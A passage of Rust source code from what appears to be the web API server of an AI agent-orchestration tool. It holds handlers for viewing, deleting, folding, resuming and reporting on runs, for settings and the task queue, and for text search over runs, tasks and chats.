3304 notes: nodes(&fix.notes),
3305 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3306 }),
3307 })
3308 .collect(),
3309 }
3310}
3311
3312impl RunDetailView {
3313 fn of(
3314 state: RunState,
3315 live: crate::run::Liveness,
3316 superseded_by: Option<String>,
3317 latest_attempt: Option<LatestAttempt>,
3318 task: Option<TaskRef>,
3319 ) -> Self {
3320 Self {
3321 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3322 prose_md: run_prose_md(&state),
3323 origin_label: crate::run::origin_label(state.origin.as_ref()),
3324 live,
3325 unmerged_by_design: state.unmerged_by_design(),
3326 done: state.status.done(),
3327 superseded_by,
3328 latest_attempt,
3329 task,
3330 state,
3331 }
3332 }
3333}
3334
3335async fn run_detail(
3336 State(ui): State<Arc<Ui>>,
3337 Path(id): Path<String>,
3338) -> ApiResult<Json<RunDetailView>> {
3339 blocking(move || {
3340 let id = resolve_run(&ui.runs, &id)?;
3341 let state = read_run(&ui.runs, &id)?;
3342 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3343 let live = state.liveness(daemon_claims);
3344 let superseded_by = state
3345 .pr_taken_over_by
3346 .clone()
3347 .or_else(|| ui.queue.superseded_by(&id))
3348 .as_deref()
3349 .map(crate::run::short_of)
3350 .map(str::to_owned);
3351 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3355 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3356 short: head.short().to_owned(),
3357 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3358 status: head.status,
3359 done: head.status.done(),
3360 id: head.id,
3361 })
3362 });
3363 let max_attempts = daemon::Opts::default().max_attempts;
3364 let task = ui
3365 .queue
3366 .list()
3367 .into_iter()
3368 .find(|t| t.runs.contains(&id))
3369 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3370 Ok(Json(RunDetailView::of(
3371 state,
3372 live,
3373 superseded_by,
3374 latest_attempt,
3375 task,
3376 )))
3377 })
3378 .await
3379}
3380
3381async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3390 let (id, unreadable) = {
3391 let ui = Arc::clone(&ui);
3392 blocking(move || {
3393 let id = resolve_run(&ui.runs, &id)?;
3394 match read_run(&ui.runs, &id) {
3395 Ok(state) => {
3396 let in_flight =
3397 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3398 state
3399 .ensure_can_delete(in_flight)
3400 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3401 let dir = ui.runs.join(&id);
3402 std::fs::remove_dir_all(&dir)
3403 .with_context(|| format!("remove run directory {}", dir.display()))?;
3404 Ok((id, false))
3405 }
3406 Err(_) => {
3407 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3411 return Err(ApiError::conflict(format!(
3412 "run {id} is being worked on by a live daemon right now"
3413 )));
3414 }
3415 Ok((id, true))
3416 }
3417 }
3418 })
3419 .await?
3420 };
3421 if unreadable {
3422 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3423 .await
3424 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3425 }
3426 let ui = Arc::clone(&ui);
3427 let done = id.clone();
3428 blocking(move || {
3429 ui.questions.abandon_for_run(
3432 &done,
3433 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3434 )?;
3435 Ok(())
3436 })
3437 .await?;
3438 Ok(StatusCode::NO_CONTENT)
3439}
3440
3441async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3465 let (id, state) = {
3466 let ui = Arc::clone(&ui);
3467 blocking(move || {
3468 let id = resolve_run(&ui.runs, &id)?;
3469 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3470 return Err(ApiError::conflict(format!(
3471 "run {id} is being worked on by a live daemon right now"
3472 )));
3473 }
3474 let state = read_run(&ui.runs, &id).ok();
3475 Ok((id, state))
3476 })
3477 .await?
3478 };
3479 let removed = match state {
3480 Some(mut state) => {
3481 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3482 .await
3483 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3484 if removed.is_empty() {
3489 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3490 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3491 }
3492 removed
3493 }
3494 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3495 .await
3496 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3497 };
3498 Ok(Json(FoldView {
3499 run: id,
3500 removed_count: removed.len(),
3501 removed,
3502 }))
3503}
3504
3505#[derive(Debug, Serialize)]
3507struct FoldView {
3508 run: String,
3509 removed: Vec<String>,
3511 removed_count: usize,
3512}
3513
3514#[derive(Debug, Deserialize)]
3517struct FoldMergedBody {
3518 #[serde(default)]
3519 pr_url: String,
3520}
3521
3522async fn run_fold_merged(
3542 State(ui): State<Arc<Ui>>,
3543 Path(id): Path<String>,
3544 Json(body): Json<FoldMergedBody>,
3545) -> ApiResult<Json<FoldMergedView>> {
3546 let pr_url = body.pr_url.trim().to_owned();
3547 if pr_url.is_empty() {
3548 return Err(ApiError::bad_request("pr_url is required"));
3549 }
3550 let (id, mut state) = {
3551 let ui = Arc::clone(&ui);
3552 blocking(move || {
3553 let id = resolve_run(&ui.runs, &id)?;
3554 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3555 return Err(ApiError::conflict(format!(
3556 "run {id} is being worked on by a live daemon right now"
3557 )));
3558 }
3559 let state = read_run(&ui.runs, &id)?;
3560 Ok((id, state))
3561 })
3562 .await?
3563 };
3564 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3565 .await
3566 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3567 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3568 .await
3569 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3570 Ok(Json(FoldMergedView {
3571 run: id,
3572 before: before.as_str().to_owned(),
3573 after: after.as_str().to_owned(),
3574 removed,
3575 }))
3576}
3577
3578#[derive(Debug, Serialize)]
3580struct FoldMergedView {
3581 run: String,
3582 before: String,
3584 after: String,
3586 removed: Vec<String>,
3588}
3589
3590async fn run_resume(
3610 State(ui): State<Arc<Ui>>,
3611 Path(id): Path<String>,
3612) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3613 let (id, state) = {
3614 let ui = Arc::clone(&ui);
3615 blocking(move || {
3616 let id = resolve_run(&ui.runs, &id)?;
3617 let state = read_run(&ui.runs, &id)?;
3618 Ok((id, state))
3619 })
3620 .await?
3621 };
3622 if let Some(to) = state
3623 .pr_taken_over_by
3624 .as_ref()
3625 .or(state.released_to.as_ref())
3626 {
3627 return Err(ApiError::conflict(format!(
3628 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3629 state.short(),
3630 crate::run::short_of(to)
3631 )));
3632 }
3633 if !state.status.resumable() {
3634 return Err(ApiError::conflict(format!(
3635 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3636 state.short(),
3637 status_word(state.status)
3638 )));
3639 }
3640 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3645 .into_iter()
3646 .next()
3647 {
3648 return Err(ApiError::conflict(format!(
3649 "the loop is running run {} right now; stop it first, or wait for \
3650 it to finish, before resuming a run by hand.",
3651 crate::run::short_of(&work.run)
3652 )));
3653 }
3654 let _resume = ui.begin_resume(&id)?;
3655
3656 let queued = RunSummary::of(
3659 &state,
3660 !ui.questions.open_for(&id).is_empty(),
3661 state.liveness(false),
3662 );
3663 let run = id.clone();
3664 tokio::spawn(async move {
3665 let _resume = _resume;
3666 match crate::graph::Runner::resume(&run) {
3667 Ok(mut runner) => {
3668 if let Err(e) = runner.execute().await {
3669 tracing::warn!("resume of run {run} stopped: {e:#}");
3670 }
3671 }
3672 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3675 }
3676 });
3677 Ok((StatusCode::ACCEPTED, Json(queued)))
3678}
3679
3680async fn run_report(
3681 State(ui): State<Arc<Ui>>,
3682 Path(id): Path<String>,
3683) -> ApiResult<impl IntoResponse> {
3684 let text = blocking(move || {
3685 let id = resolve_run(&ui.runs, &id)?;
3686 let state = read_run(&ui.runs, &id)?;
3690 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3691 let live = state.liveness(daemon_claims);
3692 Ok(format!(
3693 "{}{}",
3694 report::run(&state),
3695 report::active_seats(&state, live)
3696 ))
3697 })
3698 .await?;
3699 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3700}
3701
3702async fn run_report_json(
3706 State(ui): State<Arc<Ui>>,
3707 Path(id): Path<String>,
3708) -> ApiResult<Json<crate::report_view::RunReportView>> {
3709 let view = blocking(move || {
3710 let id = resolve_run(&ui.runs, &id)?;
3711 let state = read_run(&ui.runs, &id)?;
3712 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3713 Ok(crate::report_view::build(
3714 &state,
3715 state.liveness(daemon_claims),
3716 ))
3717 })
3718 .await?;
3719 Ok(Json(view))
3720}
3721
3722#[derive(Debug, Serialize)]
3728struct TaskView {
3729 #[serde(flatten)]
3730 task: Task,
3731 source_label: String,
3732 source_link: Option<SourceLink>,
3733 status_str: &'static str,
3734 instruction_md: Vec<md::Node>,
3738 waits_on: Vec<String>,
3742 stuck_roots: Vec<String>,
3745}
3746
3747impl From<Task> for TaskView {
3748 fn from(task: Task) -> Self {
3749 Self {
3750 source_label: task.source.label(),
3751 source_link: source_link(&task.source),
3752 status_str: task.status.as_str(),
3753 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3754 waits_on: Vec::new(),
3755 stuck_roots: Vec::new(),
3756 task,
3757 }
3758 }
3759}
3760
3761impl TaskView {
3762 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3763 let waits_on = inv.waits_on(&task);
3764 let stuck_roots = inv
3765 .stuck_roots(&task)
3766 .iter()
3767 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3768 .collect();
3769 Self {
3770 waits_on,
3771 stuck_roots,
3772 ..Self::from(task)
3773 }
3774 }
3775}
3776
3777#[derive(Debug, Default, Deserialize)]
3780#[serde(default)]
3781struct ReposQuery {
3782 refresh: u8,
3783}
3784
3785async fn repos_list(
3792 State(ui): State<Arc<Ui>>,
3793 Query(q): Query<ReposQuery>,
3794) -> ApiResult<Json<Vec<repos::Repo>>> {
3795 let refresh = q.refresh != 0;
3796 blocking(move || {
3797 let (cfg, _) = Config::discover(&ui.repo, None)?;
3798 Ok(Json(ui.repos_cache.list(
3799 &cfg.repos.roots,
3800 Duration::from_secs(cfg.repos.scan_ttl),
3801 refresh,
3802 )))
3803 })
3804 .await
3805}
3806
3807async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3811 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3812}
3813
3814#[derive(Debug, Deserialize)]
3816#[serde(deny_unknown_fields)]
3817struct RolesBody {
3818 revision: String,
3820 #[serde(default)]
3822 roles: std::collections::BTreeMap<String, Vec<String>>,
3823 #[serde(default)]
3827 counts: std::collections::BTreeMap<String, serde_json::Value>,
3828}
3829
3830async fn settings_put_roles(
3836 State(ui): State<Arc<Ui>>,
3837 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3838) -> ApiResult<Json<settings::SettingsView>> {
3839 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3840 blocking(move || {
3841 settings::save(
3842 &ui.repo,
3843 ui.machine_config.as_deref(),
3844 &body.revision,
3845 &body.roles,
3846 &body.counts,
3847 )
3848 .map(Json)
3849 .map_err(|e| match e {
3850 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3851 settings::SaveError::Refused(m) => ApiError {
3852 status: StatusCode::UNPROCESSABLE_ENTITY,
3853 message: m,
3854 },
3855 settings::SaveError::Internal(m) => ApiError::internal(m),
3856 })
3857 })
3858 .await
3859}
3860
3861async fn queue_list(
3862 State(ui): State<Arc<Ui>>,
3863 Query(q): Query<ListQuery>,
3864) -> ApiResult<Json<Vec<TaskView>>> {
3865 blocking(move || {
3866 let tasks = ui.queue.list();
3867 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3868 Ok(Json(
3869 tasks
3870 .into_iter()
3871 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3872 .map(|t| TaskView::with_inventory(t, &inv))
3873 .collect(),
3874 ))
3875 })
3876 .await
3877}
3878
3879const SEARCH_MAX_HITS: usize = 100;
3881const SEARCH_MAX_QUERY: usize = 200;
3883const SEARCH_MAX_TERMS: usize = 8;
3884const SNIPPET_BEFORE: usize = 50;
3886const SNIPPET_AFTER: usize = 110;
3887
3888#[derive(Debug, Deserialize)]
3890struct SearchQuery {
3891 #[serde(default)]
3892 scope: String,
3893 #[serde(default)]
3894 q: String,
3895}
3896
3897#[derive(Debug, Serialize, PartialEq, Eq)]
3900struct SnippetPart {
3901 text: String,
3902 hit: bool,
3903}
3904
3905#[derive(Debug, Serialize)]
3906struct SearchHit {
3907 id: String,
3908 field: String,
3910 snippet: Vec<SnippetPart>,
3911 #[serde(skip_serializing_if = "Option::is_none")]
3915 run: Option<RunSummary>,
3916}
3917
3918#[derive(Debug, Serialize)]
3919struct SearchView {
3920 scope: String,
3921 q: String,
3922 hits: Vec<SearchHit>,
3924 total: usize,
3926 truncated: bool,
3927 unreadable: usize,
3930}
3931
3932fn text_leaves<'a>(
3935 value: &'a serde_json::Value,
3936 field: &'a str,
3937 out: &mut Vec<(&'a str, &'a str)>,
3938) {
3939 match value {
3940 serde_json::Value::String(s) => out.push((field, s)),
3941 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3942 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3943 _ => {}
3944 }
3945}
3946
3947fn fold_char(c: char) -> char {
3950 c.to_lowercase().next().unwrap_or(c)
3951}
3952
3953fn search_terms(q: &str) -> Vec<String> {
3955 let mut terms: Vec<String> = Vec::new();
3956 for t in q.split_whitespace() {
3957 let t = t.to_lowercase();
3958 if !terms.contains(&t) {
3959 terms.push(t);
3960 }
3961 }
3962 terms
3963}
3964
3965fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3968 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3969 let mut first: Option<usize> = None;
3970 for term in terms {
3971 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3972 first = Some(first.map_or(at, |f| f.min(at)));
3973 }
3974 let (field, text) = leaves[first?];
3976 Some(SearchHit {
3977 id: String::new(),
3978 field: field.to_owned(),
3979 snippet: snippet_of(text, terms),
3980 run: None,
3981 })
3982}
3983
3984fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3987 let chars: Vec<char> = text.chars().collect();
3988 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3989 let needles: Vec<Vec<char>> = terms
3990 .iter()
3991 .map(|t| t.chars().map(fold_char).collect())
3992 .collect();
3993 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3994 let mut best: Option<(usize, usize)> = None;
3995 for n in needles.iter().filter(|n| !n.is_empty()) {
3996 if n.len() > chars.len() || to == 0 {
4000 continue;
4001 }
4002 let last = (to - 1).min(chars.len() - n.len());
4003 if from > last {
4004 continue;
4005 }
4006 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4007 && best.is_none_or(|(b, _)| i < b)
4008 {
4009 best = Some((i, i + n.len()));
4010 }
4011 }
4012 best
4013 };
4014 let Some((start, _)) = find(0, chars.len()) else {
4015 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4017 return vec![SnippetPart {
4018 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4019 hit: false,
4020 }];
4021 };
4022 let lo = start.saturating_sub(SNIPPET_BEFORE);
4023 let hi = (start + SNIPPET_AFTER).min(chars.len());
4024 let mut parts: Vec<SnippetPart> = Vec::new();
4025 let mut push = |s: &[char], hit: bool| {
4026 if s.is_empty() {
4027 return;
4028 }
4029 let text: String = s.iter().collect();
4030 match parts.last_mut() {
4031 Some(p) if p.hit == hit => p.text.push_str(&text),
4032 _ => parts.push(SnippetPart { text, hit }),
4033 }
4034 };
4035 if lo > 0 {
4036 push(&['\u{2026}'], false);
4037 }
4038 let mut at = lo;
4039 while at < hi {
4040 match find(at, hi) {
4041 Some((s, e)) => {
4042 push(&chars[at..s], false);
4043 let shown = e.min(hi);
4045 push(&chars[s..shown], true);
4046 at = shown;
4047 }
4048 None => {
4049 push(&chars[at..hi], false);
4050 at = hi;
4051 }
4052 }
4053 }
4054 if hi < chars.len() {
4055 push(&['\u{2026}'], false);
4056 }
4057 let mut prev_space = false;
4060 for p in &mut parts {
4061 let mut out = String::with_capacity(p.text.len());
4062 for c in p.text.chars() {
4063 if c.is_whitespace() {
4064 if !prev_space {
4065 out.push(' ');
4066 }
4067 prev_space = true;
4068 } else {
4069 out.push(c);
4070 prev_space = false;
4071 }
4072 }
4073 p.text = out;
4074 }
4075 parts.retain(|p| !p.text.is_empty());
4076 parts
4077}
4078
4079fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4081where
4082 I: IntoIterator<Item = (String, serde_json::Value)>,
4083{
4084 for (id, doc) in docs {
4085 let mut leaves = Vec::new();
4086 leaves.push(("id", id.as_str()));
4089 text_leaves(&doc, "", &mut leaves);
4090 if let Some(mut hit) = search_document(terms, &leaves) {
4091 view.total += 1;
4092 if view.hits.len() < SEARCH_MAX_HITS {
4093 hit.id = id;
4094 view.hits.push(hit);
4095 }
4096 }
4097 }
4098 view.truncated = view.total > view.hits.len();
4099}
4100
4101fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4108 let opener = talk
4109 .turns
4110 .iter()
4111 .find(|t| t.who == crate::talk::Who::Operator)
4112 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4113 .unwrap_or("");
4114 let title: String = if opener.chars().count() > 96 {
4115 opener.chars().take(95).chain(['\u{2026}']).collect()
4116 } else {
4117 opener.to_owned()
4118 };
4119 let turns: Vec<serde_json::Value> = talk
4120 .turns
4121 .iter()
4122 .map(|t| {
4123 let who = match t.who {
4124 crate::talk::Who::Operator => "operator",
4125 crate::talk::Who::Agent => "agent",
4126 };
4127 serde_json::json!({ who: t.body })
4128 })
4129 .collect();
4130 serde_json::json!({ "title": title, "turns": turns })
4131}
4132
4133async fn search_get(
4140 State(ui): State<Arc<Ui>>,
4141 Query(q): Query<SearchQuery>,
4142) -> ApiResult<Json<SearchView>> {
4143 let query = q.q.trim().to_owned();
4144 if query.is_empty() {
4145 return Err(ApiError::bad_request("q must not be empty"));
4146 }
4147 if query.chars().count() > SEARCH_MAX_QUERY {
4148 return Err(ApiError::bad_request(format!(
4149 "q is longer than {SEARCH_MAX_QUERY} characters"
4150 )));
4151 }
4152 let terms = search_terms(&query);
4153 if terms.len() > SEARCH_MAX_TERMS {
4154 return Err(ApiError::bad_request(format!(
4155 "q has more than {SEARCH_MAX_TERMS} terms"
4156 )));
4157 }
4158 let scope = q.scope;
4159 if scope != "runs" && scope != "tasks" && scope != "chats" {
4160 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4161 }
4162 blocking(move || {
4163 let mut view = SearchView {
4164 scope: scope.clone(),
4165 q: query,
4166 hits: Vec::new(),
4167 total: 0,
4168 truncated: false,
4169 unreadable: 0,
4170 };
4171 if scope == "runs" {
4172 let mut unreadable = 0;
4173 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4177 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4178 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4179 Some(v) => Some((id, v)),
4180 None => {
4181 unreadable += 1;
4182 None
4183 }
4184 }
4185 });
4186 search_docs(&terms, docs, &mut view);
4187 view.unreadable = unreadable;
4188 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4191 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4192 for hit in &mut view.hits {
4193 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4194 hit.run = summarize(
4195 [state],
4196 &open_runs,
4197 &claimed,
4198 &superseded,
4199 |p| probe.borrow_mut().status(p),
4200 |p| probe.borrow_mut().started_at(p),
4201 )
4202 .pop();
4203 }
4204 }
4205 } else if scope == "chats" {
4206 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4207 view.unreadable = unreadable;
4208 search_docs(
4209 &terms,
4210 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4211 &mut view,
4212 );
4213 } else {
4214 let docs = ui.queue.list().into_iter().filter_map(|t| {
4215 let mut v = serde_json::to_value(&t).ok()?;
4216 if let Some(o) = v.as_object_mut() {
4219 o.insert("filed_by".to_owned(), t.source.label().into());
4220 }
4221 Some((t.id, v))
4222 });
4223 search_docs(&terms, docs, &mut view);
4224 }
4225 Ok(Json(view))
4226 })
4227 .await
4228}
4229
4230#[derive(Debug, Serialize)]
4232struct TaskRunView {
4233 n: usize,
4235 id: String,
4236 short: String,
4237 kind: &'static str,
4239 status: Option<&'static str>,
4241 readable: bool,
4243 provisional: bool,
4245 description: String,
4247 outcome: String,
4249 created_at: Option<Timestamp>,
4250 pr: Option<String>,
4251 exit: RunExit,
4253 attempt: AttemptCost,
4255 branch: Option<String>,
4257}
4258
4259#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4261#[serde(rename_all = "snake_case")]
4262enum RunExit {
4263 Unreadable,
4264 Interrupted,
4266 Parked,
4267 QuotaStall,
4268 ResumedQuotaStall,
4272 Merged,
4273 Ready,
4274 Superseded,
4275 AlreadyInBase,
4278 Stalled,
4280 HeldWithPr,
4282 NoopHeld,
4283 Spent,
4285 InProgress,
4286}
4287
4288#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4289#[serde(rename_all = "snake_case")]
4290enum AttemptCost {
4291 Spent,
4292 Refunded,
4293 None,
4294 Unknown,
4296}
4297
4298impl RunExit {
4299 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4300 let Some(s) = s else {
4301 return Self::Unreadable;
4302 };
4303 let status = s.status;
4304 if resumed_later {
4305 Self::Interrupted
4306 } else if s.parked {
4307 Self::Parked
4308 } else if !status.done() {
4309 Self::InProgress
4310 } else if matches!(status, RunStatus::Merged) {
4311 Self::Merged
4312 } else if matches!(status, RunStatus::Ready) {
4313 Self::Ready
4314 } else if matches!(status, RunStatus::Superseded) {
4315 Self::Superseded
4316 } else if matches!(status, RunStatus::AlreadyInBase) {
4317 Self::AlreadyInBase
4318 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4319 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4320 {
4321 if resumed {
4322 Self::ResumedQuotaStall
4323 } else {
4324 Self::QuotaStall
4325 }
4326 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4327 Self::HeldWithPr
4328 } else if matches!(status, RunStatus::VerifiedNoop) {
4329 Self::NoopHeld
4330 } else if matches!(status, RunStatus::Stalled) {
4331 Self::Stalled
4332 } else {
4333 Self::Spent
4334 }
4335 }
4336
4337 fn cost(self) -> AttemptCost {
4338 match self {
4339 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4340 Self::Merged
4341 | Self::Ready
4342 | Self::Stalled
4343 | Self::HeldWithPr
4344 | Self::NoopHeld
4345 | Self::Spent => AttemptCost::Spent,
4346 Self::InProgress => AttemptCost::None,
4347 Self::AlreadyInBase => AttemptCost::Refunded,
4348 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4349 AttemptCost::Unknown
4350 }
4351 }
4352 }
4353
4354 fn edge_label(self, status: Option<&str>) -> String {
4356 match self {
4357 Self::Unreadable => "record unreadable".to_owned(),
4358 Self::Interrupted => "interrupted before the run finished".to_owned(),
4359 Self::Parked => "parked, attempt refunded".to_owned(),
4360 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4361 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4362 Self::Merged => "merged".to_owned(),
4363 Self::Ready => "ready, not merged".to_owned(),
4364 Self::Superseded => "superseded by a later attempt".to_owned(),
4365 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4366 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4367 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4368 Self::NoopHeld => "verified no-op".to_owned(),
4369 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4370 Self::InProgress => "in progress".to_owned(),
4371 }
4372 }
4373
4374 fn explains(self, end: TaskStatus) -> bool {
4377 match self {
4378 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4379 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4380 Self::Unreadable | Self::Superseded | Self::Ready => true,
4381 _ => end != TaskStatus::Done,
4382 }
4383 }
4384}
4385
4386#[derive(Debug, Serialize)]
4388struct TaskDetailView {
4389 #[serde(flatten)]
4390 task: TaskView,
4391 max_attempts: usize,
4394 history: Vec<TaskRunView>,
4395 flow: FlowView,
4396 followup_origin: Option<FollowUpOrigin>,
4398 runs_unreadable: usize,
4400 attempts_note: &'static str,
4402}
4403
4404const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4405and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4406on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4407in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4408
4409fn review_branch_of(instruction: &str) -> Option<&str> {
4412 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4413 rest.split('`').next().filter(|b| !b.is_empty())
4414}
4415
4416struct RunSlot<'a> {
4418 n: usize,
4420 resumed: bool,
4422 resumed_later: Option<usize>,
4424 prior: Option<(&'a str, RunStatus)>,
4426 last: bool,
4427}
4428
4429fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4432 let RunSlot {
4433 n,
4434 resumed,
4435 resumed_later,
4436 prior,
4437 last,
4438 } = at;
4439 let short = run::short_of(id).to_owned();
4440 let Some(s) = state else {
4441 return TaskRunView {
4442 n,
4443 id: id.to_owned(),
4444 short,
4445 kind: "unknown",
4446 status: None,
4447 readable: false,
4448 provisional: false,
4449 description:
4450 "This run's record could not be read by this build (written by a different \
4451 magi, or removed), so what kind of attempt it was is unknown."
4452 .to_owned(),
4453 outcome: String::new(),
4454 created_at: None,
4455 pr: None,
4456 exit: RunExit::Unreadable,
4457 attempt: AttemptCost::Unknown,
4458 branch: None,
4459 };
4460 };
4461 let branch = review_branch_of(&s.instruction);
4462 let kind = if resumed {
4463 "resume"
4464 } else if branch.is_some() {
4465 "review"
4466 } else if task.solo || s.candidates.len() == 1 {
4467 "solo"
4468 } else {
4469 "competition"
4470 };
4471 let mut description = match kind {
4472 "resume" => {
4473 format!("Resumed run {short}: the same run carried on instead of competing again.")
4474 }
4475 "review" => format!(
4476 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4477 branch.unwrap_or_default()
4478 ),
4479 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4480 _ => format!(
4481 "Competition: {} candidates judged blind.",
4482 s.candidates.len().max(1)
4483 ),
4484 };
4485 if !resumed && let Some((p, st)) = prior {
4486 description.push_str(&format!(
4487 " A retry: run {p} before it ended {}.",
4488 st.display_label()
4489 ));
4490 }
4491
4492 let status = s.status;
4493 let provisional = matches!(status, RunStatus::Stalled)
4494 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4495 let head = if resumed_later.is_some() {
4496 String::new()
4497 } else {
4498 match status {
4499 RunStatus::Merged => "Merged.".to_owned(),
4500 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4501 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4502 RunStatus::AlreadyInBase => {
4503 "Already in the base: this change landed under other commits, nothing was left to land."
4504 .to_owned()
4505 }
4506 RunStatus::Stalled => {
4507 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4508 .to_owned()
4509 }
4510 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4511 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4512 RunStatus::VerifiedNoop => {
4513 "Verified no-op: the candidates found nothing to change.".to_owned()
4514 }
4515 other if other.done() => format!("Ended {}.", other.display_label()),
4516 other => format!("In progress ({}).", other.display_label()),
4517 }
4518 };
4519 let why = if let Some(k) = resumed_later {
4520 let cause = if s.quota.is_empty() {
4527 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4528 } else {
4529 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4530 };
4531 format!(
4532 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4533 )
4534 } else if s.parked {
4535 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4536 .to_owned()
4537 } else if !status.done()
4538 || matches!(
4539 status,
